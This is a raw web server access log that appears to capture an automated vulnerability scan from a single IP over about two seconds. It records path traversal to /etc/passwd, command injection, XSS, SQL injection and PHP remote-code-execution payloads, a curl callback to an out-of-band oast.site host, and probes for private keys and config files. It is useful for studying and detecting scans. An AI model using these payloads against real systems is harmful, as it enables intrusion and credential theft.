[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pi.php HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iam/immanage/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloudexp/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vkd/GetWelcomeScreen.event HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/known_hosts.old HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/init HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/databases.yml HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /b/l.e HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ProtectManager/Logon HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/routing?callback=fos.Router.setDatafoobarfoo HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webviewLogin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wc.db HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //update.sh HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_profiler/empty/search/results?limit=10 HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /documentation HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //backup.sql HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties.ini HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.collector/configurations HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/packages/security.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_fragment HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /steve/manager/signin HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /security.yml HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sws/index.sws HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/configs/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dcim/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator;/env; HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pureweb/server/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI/Login HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /synnefoclient/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer/Pages/Folder.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /private-key HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlbuddy/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/ping?count=5&host=;cat%20/etc/passwd;&port=80&source=1.1.1.1&type=icmp HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuators/logfile HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/services/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/manager/submit?group=1&username=06neao&password=gsXubiDWLWVd HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?path=/settings/about HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=jobs&category=1&lrw3e%22onmouseover=%22confirm(document.domain)%22style=%22position:absolute%3bwidth:100%25%3bheight:100%25%3btop:0%3bleft:0%3b%22k1n44=1 HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /intikal/storage/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tcpconfig.html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elocker_old/storage/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cps/test_backup_server?ACTION=TEST_IP&NOCONTINUE=TRUE HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //web/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /registerUser.html?init=1 HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/asrow.txt HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/download.php?absolute_dl=true&passed_id=1&passed_ent_id=1&mailbox=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //0day.txt HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_/.ssh/authorized_keys HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /provider.tf HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webviewLogin_m64?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/snyk.yml HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/BrowserServlet HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?a=fetch&content=%3C%3Fphp+file_put_contents%28%22380Cy4ki3ALdUCwIGeHEUvvUlFg.php%22%2C%22%3C%3Fphp+echo+md5%28%22thinkcmf-rce%22%29%3Bunlink%28__FILE__%29%3B%22%29%3B HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/src/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /thruk/cgi-bin/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki/tiki-ajax_services.php?controller=comment&action=list&type=wiki+page&objectId=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/dbstat/gettablessize HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //upload.sh HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sso/v2/sso/jwt?error_url=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/admin/admin.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //admin/pma/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?a=display&templateFile=README.md HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-5.2/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /thruk/cgi-bin/login.cgi?thruk/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /privatekey.key HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI/login HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //asdf.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/log.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /manager/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?/installer HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=/index/index/name/$%7B@phpinfo()%7D HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-login_scr.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/DownloadCfg/RouterCfm.jpg HTTP/1.1" 199
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.cs HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Thumbs.db HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app_dev.php/_profiler/empty/search/results?limit=10 HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF'); HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?s=index/index/index HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/security.yml HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/services/json/v1/settings HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?action=Login&module=Users HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /query?getcommand&cmd=curl+http://d5g6sfahausljekepl20kawhsoujzyndk.oast.site HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /message-api/actuator/env HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-forms/vendor/constantcontact/constantcontact/test/Json/Auth/token_info.json HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SplusServer/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /documentation/login HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /token.json HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?s=captcha HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/security.yml HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/heapdump HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk:443/errors.log HTTP/1.1" 199
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.swp HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /guestLogin.html?guest=1 HTTP/1.1" 196
